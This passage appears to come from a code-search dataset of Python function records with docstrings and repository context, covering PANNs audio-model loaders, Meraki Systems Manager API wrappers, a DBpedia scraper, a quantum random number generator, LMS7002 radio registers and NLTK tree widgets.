fields["type_3"] != "---": result |= item["type"].startswith(fields["type_3"]) if "type_4" in fields and fields["type_4"] != "---": result |= item["type"].startswith(fields["type_4"]) return result def check_comparators(item, fields): result = True if "amount_comparator" in fields: result &= check_field_num(item["amount"], fields["amount_comparator"], fields["amount_value"]) if "amount_comparator_2" in fields: result &= check_field_num(item["amount"], fields["amount_comparator_2"], fields["amount_value_2"]) if "balance_comparator" in fields: result &= check_field_num(item["balance"], fields["balance_comparator"], fields["balance_value"]) if "balance_comparator_2" in fields: result &= check_field_num(item["balance"], fields["balance_comparator_2"], fields["balance_value_2"]) if "counterparty_name_comparator" in fields: result &= check_field_str(item["counterparty_name"], fields["counterparty_name_comparator"], fields["counterparty_name_value"]) if "counterparty_name_comparator_2" in fields: result &= check_field_str(item["counterparty_name"], fields["counterparty_name_comparator_2"], fields["counterparty_name_value_2"]) if "counterparty_account_comparator" in fields: result &= check_field_str(item["counterparty_account"], fields["counterparty_account_comparator"], fields["counterparty_account_value"]) if "counterparty_account_comparator_2" in fields: result &= check_field_str(item["counterparty_account"], fields["counterparty_account_comparator_2"], fields["counterparty_account_value_2"]) if "description_comparator" in fields: result &= check_field_str(item["description"], fields["description_comparator"], fields["description_value"]) if "description_comparator_2" in fields: result &= check_field_str(item["description"], fields["description_comparator_2"], fields["description_value_2"]) return result def check_field_num(orig, comparator, target): result = False if comparator == "ignore": result = True elif comparator == "equal" and float(orig) == float(target): result = True elif comparator == "not_equal" and float(orig) != float(target): result = True elif comparator == "above" and float(orig) > float(target): result = True elif comparator == "above_equal" and float(orig) >= float(target): result = True elif comparator == "below" and float(orig) < float(target): result = True elif comparator == "below_equal" and float(orig) <= float(target): result = True elif comparator == "in" and orig in json.loads(target): result = True elif comparator == "not_in" and orig not in json.loads(target): result = True return result
MIT License
qiuqiangkong/panns_inference
panns_inference/inference.py
SoundEventDetection.__init__
python
def __init__(self, model=None, checkpoint_path=None, device='cuda'): if not checkpoint_path: checkpoint_path='{}/panns_data/Cnn14_DecisionLevelMax.pth'.format(str(Path.home())) print('Checkpoint path: {}'.format(checkpoint_path)) if not os.path.exists(checkpoint_path) or os.path.getsize(checkpoint_path) < 3e8: create_folder(os.path.dirname(checkpoint_path)) os.system('wget -O "{}" https://zenodo.org/record/3987831/files/Cnn14_DecisionLevelMax_mAP%3D0.385.pth?download=1'.format(checkpoint_path)) if device == 'cuda' and torch.cuda.is_available(): self.device = 'cuda' else: self.device = 'cpu' self.labels = labels self.classes_num = classes_num if model is None: self.model = Cnn14_DecisionLevelMax(sample_rate=32000, window_size=1024, hop_size=320, mel_bins=64, fmin=50, fmax=14000, classes_num=self.classes_num) else: self.model = model checkpoint = torch.load(checkpoint_path, map_location=self.device) self.model.load_state_dict(checkpoint['model']) if 'cuda' in str(self.device): self.model.to(self.device) print('GPU number: {}'.format(torch.cuda.device_count())) self.model = torch.nn.DataParallel(self.model) else: print('Using CPU.')
Sound event detection inference wrapper.
https://github.com/qiuqiangkong/panns_inference/blob/013c0f6ab617c1be58f3b3564a6f2b17f5e1d2dc/panns_inference/inference.py#L80-L116
import os import numpy as np import argparse import librosa import matplotlib.pyplot as plt import torch from pathlib import Path from .pytorch_utils import move_data_to_device from .models import Cnn14, Cnn14_DecisionLevelMax from .config import labels, classes_num def create_folder(fd): if not os.path.exists(fd): os.makedirs(fd) def get_filename(path): path = os.path.realpath(path) na_ext = path.split('/')[-1] na = os.path.splitext(na_ext)[0] return na class AudioTagging(object): def __init__(self, model=None, checkpoint_path=None, device='cuda'): if not checkpoint_path: checkpoint_path='{}/panns_data/Cnn14_mAP=0.431.pth'.format(str(Path.home())) print('Checkpoint path: {}'.format(checkpoint_path)) if not os.path.exists(checkpoint_path) or os.path.getsize(checkpoint_path) < 3e8: create_folder(os.path.dirname(checkpoint_path)) zenodo_path = 'https://zenodo.org/record/3987831/files/Cnn14_mAP%3D0.431.pth?download=1' os.system('wget -O "{}" "{}"'.format(checkpoint_path, zenodo_path)) if device == 'cuda' and torch.cuda.is_available(): self.device = 'cuda' else: self.device = 'cpu' self.labels = labels self.classes_num = classes_num if model is None: self.model = Cnn14(sample_rate=32000, window_size=1024, hop_size=320, mel_bins=64, fmin=50, fmax=14000, classes_num=self.classes_num) else: self.model = model checkpoint = torch.load(checkpoint_path, map_location=self.device) self.model.load_state_dict(checkpoint['model']) if 'cuda' in str(self.device): self.model.to(self.device) print('GPU number: {}'.format(torch.cuda.device_count())) self.model = torch.nn.DataParallel(self.model) else: print('Using CPU.') def inference(self, audio): audio = move_data_to_device(audio, self.device) with torch.no_grad(): self.model.eval() output_dict = self.model(audio, None) clipwise_output = output_dict['clipwise_output'].data.cpu().numpy() embedding = output_dict['embedding'].data.cpu().numpy() return clipwise_output, embedding class SoundEventDetection(object):
MIT License
shiyuechengineer/meraki-dashboard
meraki_v0/aio/api/sm.py
AsyncSM.getNetworkSmPerformanceHistory
python
async def getNetworkSmPerformanceHistory(self, network_id: str, id: str, total_pages=1, direction='next', **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmPerformanceHistory', } resource = f'/networks/{network_id}/sm/{id}/performanceHistory' query_params = ['perPage', 'startingAfter', 'endingBefore'] params = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in query_params} return await self._session.get_pages(metadata, resource, params, total_pages, direction)
**Return historical records of various Systems Manager client metrics for desktop devices.** https://developer.cisco.com/meraki/api/#!get-network-sm-performance-history - network_id (string) - id (string) - total_pages (integer or string): total number of pages to retrieve, -1 or "all" for all pages - direction (string): direction to paginate, either "next" (default) or "prev" page - perPage (integer): The number of entries per page returned. Acceptable range is 3 - 1000. Default is 1000. - startingAfter (string): A token used by the server to indicate the start of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, prev, or next page in the HTTP Link header should define it. - endingBefore (string): A token used by the server to indicate the end of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, prev, or next page in the HTTP Link header should define it.
https://github.com/shiyuechengineer/meraki-dashboard/blob/f00442acf762a94e7e446f80a2485d120e7090d5/meraki_v0/aio/api/sm.py#L569-L594
class AsyncSM: def __init__(self, session): super().__init__() self._session = session async def createNetworkSmBypassActivationLockAttempt(self, networkId: str, ids: list): kwargs = locals() metadata = { 'tags': ['SM'], 'operation': 'createNetworkSmBypassActivationLockAttempt', } resource = f'/networks/{networkId}/sm/bypassActivationLockAttempts' body_params = ['ids'] payload = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in body_params} return await self._session.post(metadata, resource, payload) async def getNetworkSmBypassActivationLockAttempt(self, networkId: str, attemptId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmBypassActivationLockAttempt', } resource = f'/networks/{networkId}/sm/bypassActivationLockAttempts/{attemptId}' return await self._session.get(metadata, resource) async def updateNetworkSmDeviceFields(self, networkId: str, deviceFields: dict, **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'updateNetworkSmDeviceFields', } resource = f'/networks/{networkId}/sm/device/fields' body_params = ['wifiMac', 'id', 'serial', 'deviceFields'] payload = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in body_params} return await self._session.put(metadata, resource, payload) async def wipeNetworkSmDevice(self, networkId: str, **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'wipeNetworkSmDevice', } resource = f'/networks/{networkId}/sm/device/wipe' body_params = ['wifiMac', 'id', 'serial', 'pin'] payload = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in body_params} return await self._session.put(metadata, resource, payload) async def refreshNetworkSmDeviceDetails(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'refreshNetworkSmDeviceDetails', } resource = f'/networks/{networkId}/sm/device/{deviceId}/refreshDetails' return await self._session.post(metadata, resource) async def getNetworkSmDevices(self, networkId: str, **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmDevices', } resource = f'/networks/{networkId}/sm/devices' query_params = ['fields', 'wifiMacs', 'serials', 'ids', 'scope', 'batchSize', 'batchToken'] params = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in query_params} return await self._session.get(metadata, resource, params) async def checkinNetworkSmDevices(self, networkId: str, **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'checkinNetworkSmDevices', } resource = f'/networks/{networkId}/sm/devices/checkin' body_params = ['wifiMacs', 'ids', 'serials', 'scope'] payload = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in body_params} return await self._session.put(metadata, resource, payload) async def moveNetworkSmDevices(self, networkId: str, newNetwork: str, **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'moveNetworkSmDevices', } resource = f'/networks/{networkId}/sm/devices/move' body_params = ['wifiMacs', 'ids', 'serials', 'scope', 'newNetwork'] payload = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in body_params} return await self._session.put(metadata, resource, payload) async def updateNetworkSmDevicesTags(self, networkId: str, tags: str, updateAction: str, **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'updateNetworkSmDevicesTags', } resource = f'/networks/{networkId}/sm/devices/tags' body_params = ['wifiMacs', 'ids', 'serials', 'scope', 'tags', 'updateAction'] payload = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in body_params} return await self._session.put(metadata, resource, payload) async def unenrollNetworkSmDevice(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'unenrollNetworkSmDevice', } resource = f'/networks/{networkId}/sm/devices/{deviceId}/unenroll' return await self._session.post(metadata, resource) async def getNetworkSmProfiles(self, networkId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmProfiles', } resource = f'/networks/{networkId}/sm/profiles' return await self._session.get(metadata, resource) async def getNetworkSmUserDeviceProfiles(self, networkId: str, userId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmUserDeviceProfiles', } resource = f'/networks/{networkId}/sm/user/{userId}/deviceProfiles' return await self._session.get(metadata, resource) async def getNetworkSmUserSoftwares(self, networkId: str, userId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmUserSoftwares', } resource = f'/networks/{networkId}/sm/user/{userId}/softwares' return await self._session.get(metadata, resource) async def getNetworkSmUsers(self, networkId: str, **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmUsers', } resource = f'/networks/{networkId}/sm/users' query_params = ['ids', 'usernames', 'emails', 'scope'] params = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in query_params} return await self._session.get(metadata, resource, params) async def getNetworkSmCellularUsageHistory(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmCellularUsageHistory', } resource = f'/networks/{networkId}/sm/{deviceId}/cellularUsageHistory' return await self._session.get(metadata, resource) async def getNetworkSmCerts(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmCerts', } resource = f'/networks/{networkId}/sm/{deviceId}/certs' return await self._session.get(metadata, resource) async def getNetworkSmDeviceProfiles(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmDeviceProfiles', } resource = f'/networks/{networkId}/sm/{deviceId}/deviceProfiles' return await self._session.get(metadata, resource) async def getNetworkSmNetworkAdapters(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmNetworkAdapters', } resource = f'/networks/{networkId}/sm/{deviceId}/networkAdapters' return await self._session.get(metadata, resource) async def getNetworkSmRestrictions(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmRestrictions', } resource = f'/networks/{networkId}/sm/{deviceId}/restrictions' return await self._session.get(metadata, resource) async def getNetworkSmSecurityCenters(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmSecurityCenters', } resource = f'/networks/{networkId}/sm/{deviceId}/securityCenters' return await self._session.get(metadata, resource) async def getNetworkSmSoftwares(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmSoftwares', } resource = f'/networks/{networkId}/sm/{deviceId}/softwares' return await self._session.get(metadata, resource) async def getNetworkSmWlanLists(self, networkId: str, deviceId: str): metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmWlanLists', } resource = f'/networks/{networkId}/sm/{deviceId}/wlanLists' return await self._session.get(metadata, resource) async def lockNetworkSmDevices(self, network_id: str, **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'lockNetworkSmDevices', } resource = f'/networks/{network_id}/sm/devices/lock' body_params = ['wifiMacs', 'ids', 'serials', 'scope', 'pin'] payload = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in body_params} return await self._session.put(metadata, resource, payload) async def getNetworkSmConnectivity(self, network_id: str, id: str, total_pages=1, direction='next', **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmConnectivity', } resource = f'/networks/{network_id}/sm/{id}/connectivity' query_params = ['perPage', 'startingAfter', 'endingBefore'] params = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in query_params} return await self._session.get_pages(metadata, resource, params, total_pages, direction) async def getNetworkSmDesktopLogs(self, network_id: str, id: str, total_pages=1, direction='next', **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmDesktopLogs', } resource = f'/networks/{network_id}/sm/{id}/desktopLogs' query_params = ['perPage', 'startingAfter', 'endingBefore'] params = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in query_params} return await self._session.get_pages(metadata, resource, params, total_pages, direction) async def getNetworkSmDeviceCommandLogs(self, network_id: str, id: str, total_pages=1, direction='next', **kwargs): kwargs.update(locals()) metadata = { 'tags': ['SM'], 'operation': 'getNetworkSmDeviceCommandLogs', } resource = f'/networks/{network_id}/sm/{id}/deviceCommandLogs' query_params = ['perPage', 'startingAfter', 'endingBefore'] params = {k.strip(): v for (k, v) in kwargs.items() if k.strip() in query_params} return await self._session.get_pages(metadata, resource, params, total_pages, direction)
MIT License
liberai/nspm
gsoc/zheyuan/pipeline/get_properties.py
get_properties
python
def get_properties(url, project_name="test_project", output_file = "get_properties.csv", multi=False): page = urllib.request.urlopen(url) soup = BeautifulSoup(page, "html.parser") if(not os.path.isdir(project_name)): os.makedirs(project_name) if multi: output_file = open(project_name + "/" + output_file, 'a', encoding="utf-8") else: output_file = open(project_name+"/" + output_file, 'w', encoding="utf-8") fl = 0 accum = [] for rows in tqdm(soup.find_all("tr")): x = rows.find_all("td") if len(x) <= 2: fl = 1 continue if fl == 1: fl = 2 continue name = rows.find_all("td")[0].get_text().replace(" (edit)", "") label = rows.find_all("td")[1].get_text() dom = rows.find_all("td")[2].get_text() rng = rows.find_all("td")[3].get_text() if rows.find_all("td")[0].find('a'): URL_name = ((rows.find_all("td")[0].find('a').attrs['href'])) final = name + "," + label + "," + dom + "," + rng accum.append(final) output_file.write(final+"\n") output_file.close() return accum
- This function extracts the information regarding : [Name, Label, Domain, Range] from a page like this : http://mappings.dbpedia.org/server/ontology/classes/Place and saves it in a file in CSV format. - This code on execution creates a csv which contains all the properties, ontology, class related information and data types as field values in each row. - This function also returns a 2D list of the information mentioned above to the calling function
https://github.com/liberai/nspm/blob/cc352dbbda6751e8cf19769c9440c03e31687829/gsoc/zheyuan/pipeline/get_properties.py#L11-L50
import urllib import json import sys import csv import io import argparse import os from bs4 import BeautifulSoup from tqdm import tqdm
MIT License
pedrorrivero/qrand
qrand/qrng.py
Qrng.get_random_octal
python
def get_random_octal(self, num_bits: Optional[int] = None) -> str: uint: int = self.quantum_bit_generator.random_uint(num_bits) return f"{uint:o}"
Returns a random octal base encoded numeral string from a `num_bits` uniform distribution. Parameters ---------- num_bits: int, default: BITS (i.e. 32 or 64) Number of bits to retrieve. Returns ------- out: str Random octal base encoded numeral string.
https://github.com/pedrorrivero/qrand/blob/c88a7a8363a27eec02e65c4617d5d945690dfd77/qrand/qrng.py#L447-L463
import math from struct import pack, unpack from typing import Optional from .errors import raise_future_warning from .helpers import ALPHABETS, encode_numeral, validate_type from .quantum_bit_generator import QuantumBitGenerator class Qrng: def __init__(self, quantum_bit_generator: QuantumBitGenerator): raise_future_warning("This version of Qrng", "1.0.0") self.quantum_bit_generator = quantum_bit_generator @property def quantum_bit_generator(self) -> QuantumBitGenerator: raise_future_warning("quantum_bit_generator", "1.0.0") return self._quantum_bit_generator @quantum_bit_generator.setter def quantum_bit_generator( self, quantum_bit_generator: QuantumBitGenerator ) -> None: raise_future_warning("quantum_bit_generator", "1.0.0") validate_type(quantum_bit_generator, QuantumBitGenerator) self._quantum_bit_generator: QuantumBitGenerator = ( quantum_bit_generator ) @property def state(self) -> dict: raise_future_warning("state", "1.0.0") return { "quantum_bit_generator": self.quantum_bit_generator.state, } def get_bit_string(self, num_bits: Optional[int] = None) -> str: raise_future_warning("get_bit_string", "1.0.0", "get_random_bitstring") return self.quantum_bit_generator.random_bitstring(num_bits) def get_random_base32(self, num_bits: Optional[int] = None) -> str: uint: int = self.get_random_uint(num_bits) return encode_numeral(uint, ALPHABETS["BASE32"]) def get_random_base64(self, num_bits: Optional[int] = None) -> str: uint: int = self.get_random_uint(num_bits) return encode_numeral(uint, ALPHABETS["BASE64"]) def get_random_bitstring(self, num_bits: Optional[int] = None) -> str: return self.quantum_bit_generator.random_bitstring(num_bits) def get_random_bytes(self, num_bytes: Optional[int] = None) -> bytes: num_bits: int = ( num_bytes * 8 if num_bytes and type(num_bytes) is int and num_bytes > 0 else self.quantum_bit_generator.BITS ) num_bytes = num_bits // 8 uint: int = self.quantum_bit_generator.random_uint(num_bits) return uint.to_bytes(num_bytes, "big") def get_random_complex_polar( self, r: float = 1, theta: float = 2 * math.pi ) -> complex: r0: float = r * math.sqrt(self.get_random_double(0, 1)) theta0: float = self.get_random_double(0, theta) return r0 * math.cos(theta0) + r0 * math.sin(theta0) * 1j def get_random_complex_rect( self, r1: float = -1, r2: float = +1, i1: Optional[float] = None, i2: Optional[float] = None, ) -> complex: re: float = self.get_random_double(r1, r2) if i1 is None or i2 is None: im: float = self.get_random_double(r1, r2) else: im = self.get_random_double(i1, i2) return re + im * 1j def get_random_decimal(self, num_bits: Optional[int] = None) -> str: uint: int = self.quantum_bit_generator.random_uint(num_bits) return f"{uint:d}" def get_random_double(self, min: float = -1, max: float = +1) -> float: min, max = float(min), float(max) delta: float = max - min shifted: float = self.quantum_bit_generator.random_double(delta) return shifted + min def get_random_float(self, min: float = -1, max: float = +1) -> float: min, max = float(min), float(max) bits_as_uint: int = ( 0x3F800000 | self.quantum_bit_generator.random_uint(32 - 9) ) to_bytes: bytes = pack(">I", bits_as_uint) standard_value: float = unpack(">f", to_bytes)[0] - 1.0 return (max - min) * standard_value + min def get_random_hex(self, num_bits: Optional[int] = None) -> str: uint: int = self.quantum_bit_generator.random_uint(num_bits) return f"{uint:X}" def get_random_int(self, min: int = -1, max: int = +1) -> int: delta: int = max - min num_bits: int = math.floor(math.log(delta, 2)) + 1 shifted: int = self.quantum_bit_generator.random_uint(num_bits) while shifted > delta: shifted = self.quantum_bit_generator.random_uint(num_bits) return shifted + min def get_random_int32(self) -> int: return self.quantum_bit_generator.random_uint(32) def get_random_int64(self) -> int: return self.quantum_bit_generator.random_uint(64)
Apache License 2.0
myriadrf/pylms7002soapy
pyLMS7002Soapy/LMS7002_CGEN.py
LMS7002_CGEN.PD_VCO_CGEN
python
def PD_VCO_CGEN(self): return self._readReg('CFG', 'PD_VCO_CGEN')
Get the value of PD_VCO_CGEN
https://github.com/myriadrf/pylms7002soapy/blob/4f828eb9282c302dc6b187d91df5e77c8a6f2d61/pyLMS7002Soapy/LMS7002_CGEN.py#L235-L239
from pyLMS7002Soapy.LMS7002_base import LMS7002_base from math import floor from time import sleep class LMS7002_CGEN(LMS7002_base): __slots__ = [] def __init__(self, chip): self.chip = chip self.channel = None self.prefix = "CGEN_" @property def RESET_N_CGEN(self): return self._readReg('CFG', 'RESET_N_CGEN') @RESET_N_CGEN.setter def RESET_N_CGEN(self, value): if value not in [0, 1, 'RESET', 'NORMAL']: raise ValueError("Value must be [0,1,'RESET', 'NORMAL']") if value == 0 or value == 'RESET': val = 0 else: val = 1 self._writeReg('CFG', 'RESET_N_CGEN', val) @property def SPDUP_VCO_CGEN(self): return self._readReg('CFG', 'SPDUP_VCO_CGEN') @SPDUP_VCO_CGEN.setter def SPDUP_VCO_CGEN(self, value): if value not in [0, 1, 'ON', 'OFF']: raise ValueError("Value must be [0,1,'ON', 'OFF']") if value == 0 or value == 'OFF': val = 0 else: val = 1 self._writeReg('CFG', 'SPDUP_VCO_CGEN', val) @property def EN_ADCCLKH_CLKGN(self): return self._readReg('CFG', 'EN_ADCCLKH_CLKGN') @EN_ADCCLKH_CLKGN.setter def EN_ADCCLKH_CLKGN(self, value): if value not in [0, 1]: raise ValueError("Value must be [0,1]") self._writeReg('CFG', 'EN_ADCCLKH_CLKGN', value) @property def EN_COARSE_CKLGEN(self): return self._readReg('CFG', 'EN_COARSE_CKLGEN') @EN_COARSE_CKLGEN.setter def EN_COARSE_CKLGEN(self, value): if value not in [0, 1, 'ON', 'OFF']: raise ValueError("Value must be [0,1,'ON', 'OFF']") if value == 0 or value == 'OFF': val = 0 else: val = 1 self._writeReg('CFG', 'EN_COARSE_CKLGEN', val) @property def EN_INTONLY_SDM_CGEN(self): return self._readReg('CFG', 'EN_INTONLY_SDM_CGEN') @EN_INTONLY_SDM_CGEN.setter def EN_INTONLY_SDM_CGEN(self, value): if value not in [0, 1, 'FRACN', 'INTN']: raise ValueError("Value must be [0,1,'FRACN', 'INTN']") if value == 0 or value == 'FRACN': val = 0 else: val = 1 self._writeReg('CFG', 'EN_INTONLY_SDM_CGEN', val) @property def EN_SDM_CLK_CGEN(self): return self._readReg('CFG', 'EN_SDM_CLK_CGEN') @EN_SDM_CLK_CGEN.setter def EN_SDM_CLK_CGEN(self, value): if value not in [0, 1, 'ON', 'OFF']: raise ValueError("Value must be [0,1,'ON', 'OFF']") if value == 0 or value == 'OFF': val = 0 else: val = 1 self._writeReg('CFG', 'EN_SDM_CLK_CGEN', val) @property def PD_CP_CGEN(self): return self._readReg('CFG', 'PD_CP_CGEN') @PD_CP_CGEN.setter def PD_CP_CGEN(self, value): if value not in [0, 1, 'ON', 'OFF']: raise ValueError("Value must be [0,1,'ON', 'OFF']") if value == 0 or value == 'ON': val = 0 else: val = 1 self._writeReg('CFG', 'PD_CP_CGEN', val) @property def PD_FDIV_FB_CGEN(self): return self._readReg('CFG', 'PD_FDIV_FB_CGEN') @PD_FDIV_FB_CGEN.setter def PD_FDIV_FB_CGEN(self, value): if value not in [0, 1, 'ON', 'OFF']: raise ValueError("Value must be [0,1,'ON', 'OFF']") if value == 0 or value == 'ON': val = 0 else: val = 1 self._writeReg('CFG', 'PD_FDIV_FB_CGEN', val) @property def PD_FDIV_O_CGEN(self): return self._readReg('CFG', 'PD_FDIV_O_CGEN') @PD_FDIV_O_CGEN.setter def PD_FDIV_O_CGEN(self, value): if value not in [0, 1, 'ON', 'OFF']: raise ValueError("Value must be [0,1,'ON', 'OFF']") if value == 0 or value == 'ON': val = 0 else: val = 1 self._writeReg('CFG', 'PD_FDIV_O_CGEN', val) @property def PD_SDM_CGEN(self): return self._readReg('CFG', 'PD_SDM_CGEN') @PD_SDM_CGEN.setter def PD_SDM_CGEN(self, value): if value not in [0, 1, 'ON', 'OFF']: raise ValueError("Value must be [0,1,'ON', 'OFF']") if value == 0 or value == 'ON': val = 0 else: val = 1 self._writeReg('CFG', 'PD_SDM_CGEN', val) @property
Apache License 2.0
kriaga/health-checker
HealthChecker/venv/Lib/site-packages/nltk/draw/tree.py
TreeWidget.bind_drag_nodes
python
def bind_drag_nodes(self, callback, button=1): for node in self._nodes: node.bind_drag(callback, button) for node in self._nodes: node.bind_drag(callback, button)
Add a binding to all nodes.
https://github.com/kriaga/health-checker/blob/3d9ce933f131bcbb897103b0f509cc45393cae4a/HealthChecker/venv/Lib/site-packages/nltk/draw/tree.py#L581-L586
from six.moves.tkinter import IntVar, Menu, Tk from nltk.util import in_idle from nltk.tree import Tree from nltk.draw.util import (CanvasFrame, CanvasWidget, BoxWidget, TextWidget, ParenWidget, OvalWidget) class TreeSegmentWidget(CanvasWidget): def __init__(self, canvas, label, subtrees, **attribs): self._label = label self._subtrees = subtrees self._horizontal = 0 self._roof = 0 self._xspace = 10 self._yspace = 15 self._ordered = False self._lines = [canvas.create_line(0,0,0,0, fill='#006060') for c in subtrees] self._polygon = canvas.create_polygon(0,0, fill='', state='hidden', outline='#006060') self._add_child_widget(label) for subtree in subtrees: self._add_child_widget(subtree) self._managing = False CanvasWidget.__init__(self, canvas, **attribs) def __setitem__(self, attr, value): canvas = self.canvas() if attr == 'roof': self._roof = value if self._roof: for l in self._lines: canvas.itemconfig(l, state='hidden') canvas.itemconfig(self._polygon, state='normal') else: for l in self._lines: canvas.itemconfig(l, state='normal') canvas.itemconfig(self._polygon, state='hidden') elif attr == 'orientation': if value == 'horizontal': self._horizontal = 1 elif value == 'vertical': self._horizontal = 0 else: raise ValueError('orientation must be horizontal or vertical') elif attr == 'color': for l in self._lines: canvas.itemconfig(l, fill=value) canvas.itemconfig(self._polygon, outline=value) elif isinstance(attr, tuple) and attr[0] == 'color': l = self._lines[int(attr[1])] canvas.itemconfig(l, fill=value) elif attr == 'fill': canvas.itemconfig(self._polygon, fill=value) elif attr == 'width': canvas.itemconfig(self._polygon, {attr:value}) for l in self._lines: canvas.itemconfig(l, {attr:value}) elif attr in ('xspace', 'yspace'): if attr == 'xspace': self._xspace = value elif attr == 'yspace': self._yspace = value self.update(self._label) elif attr == 'ordered': self._ordered = value else: CanvasWidget.__setitem__(self, attr, value) def __getitem__(self, attr): if attr == 'roof': return self._roof elif attr == 'width': return self.canvas().itemcget(self._polygon, attr) elif attr == 'color': return self.canvas().itemcget(self._polygon, 'outline') elif isinstance(attr, tuple) and attr[0] == 'color': l = self._lines[int(attr[1])] return self.canvas().itemcget(l, 'fill') elif attr == 'xspace': return self._xspace elif attr == 'yspace': return self._yspace elif attr == 'orientation': if self._horizontal: return 'horizontal' else: return 'vertical' elif attr == 'ordered': return self._ordered else: return CanvasWidget.__getitem__(self, attr) def label(self): return self._label def subtrees(self): return self._subtrees[:] def set_label(self, label): self._remove_child_widget(self._label) self._add_child_widget(label) self._label = label self.update(self._label) def replace_child(self, oldchild, newchild): index = self._subtrees.index(oldchild) self._subtrees[index] = newchild self._remove_child_widget(oldchild) self._add_child_widget(newchild) self.update(newchild) def remove_child(self, child): index = self._subtrees.index(child) del self._subtrees[index] self._remove_child_widget(child) self.canvas().delete(self._lines.pop()) self.update(self._label) def insert_child(self, index, child): canvas = self.canvas() self._subtrees.insert(index, child) self._add_child_widget(child) self._lines.append(canvas.create_line(0,0,0,0, fill='#006060')) self.update(self._label) def _tags(self): if self._roof: return [self._polygon] else: return self._lines def _subtree_top(self, child): if isinstance(child, TreeSegmentWidget): bbox = child.label().bbox() else: bbox = child.bbox() if self._horizontal: return (bbox[0], (bbox[1]+bbox[3])/2.0) else: return ((bbox[0]+bbox[2])/2.0, bbox[1]) def _node_bottom(self): bbox = self._label.bbox() if self._horizontal: return (bbox[2], (bbox[1]+bbox[3])/2.0) else: return ((bbox[0]+bbox[2])/2.0, bbox[3]) def _update(self, child): if len(self._subtrees) == 0: return if self._label.bbox() is None: return if child is self._label: need_update = self._subtrees else: need_update = [child] if self._ordered and not self._managing: need_update = self._maintain_order(child) (nodex, nodey) = self._node_bottom() (xmin, ymin, xmax, ymax) = self._subtrees[0].bbox() for subtree in self._subtrees[1:]: bbox = subtree.bbox() xmin = min(xmin, bbox[0]) ymin = min(ymin, bbox[1]) xmax = max(xmax, bbox[2]) ymax = max(ymax, bbox[3]) if self._horizontal: self.canvas().coords(self._polygon, nodex, nodey, xmin, ymin, xmin, ymax, nodex, nodey) else: self.canvas().coords(self._polygon, nodex, nodey, xmin, ymin, xmax, ymin, nodex, nodey) for subtree in need_update: (nodex, nodey) = self._node_bottom() line = self._lines[self._subtrees.index(subtree)] (subtreex, subtreey) = self._subtree_top(subtree) self.canvas().coords(line, nodex, nodey, subtreex, subtreey) def _maintain_order(self, child): if self._horizontal: return self._maintain_order_horizontal(child) else: return self._maintain_order_vertical(child) def _maintain_order_vertical(self, child): (left, top, right, bot) = child.bbox() if child is self._label: for subtree in self._subtrees: (x1, y1, x2, y2) = subtree.bbox() if bot+self._yspace > y1: subtree.move(0,bot+self._yspace-y1) return self._subtrees else: moved = [child] index = self._subtrees.index(child) x = right + self._xspace for i in range(index+1, len(self._subtrees)): (x1, y1, x2, y2) = self._subtrees[i].bbox() if x > x1: self._subtrees[i].move(x-x1, 0) x += x2-x1 + self._xspace moved.append(self._subtrees[i]) x = left - self._xspace for i in range(index-1, -1, -1): (x1, y1, x2, y2) = self._subtrees[i].bbox() if x < x2: self._subtrees[i].move(x-x2, 0) x -= x2-x1 + self._xspace moved.append(self._subtrees[i]) (x1, y1, x2, y2) = self._label.bbox() if y2 > top-self._yspace: self._label.move(0, top-self._yspace-y2) moved = self._subtrees return moved def _maintain_order_horizontal(self, child): (left, top, right, bot) = child.bbox() if child is self._label: for subtree in self._subtrees: (x1, y1, x2, y2) = subtree.bbox() if right+self._xspace > x1: subtree.move(right+self._xspace-x1) return self._subtrees else: moved = [child] index = self._subtrees.index(child) y = bot + self._yspace for i in range(index+1, len(self._subtrees)): (x1, y1, x2, y2) = self._subtrees[i].bbox() if y > y1: self._subtrees[i].move(0, y-y1) y += y2-y1 + self._yspace moved.append(self._subtrees[i]) 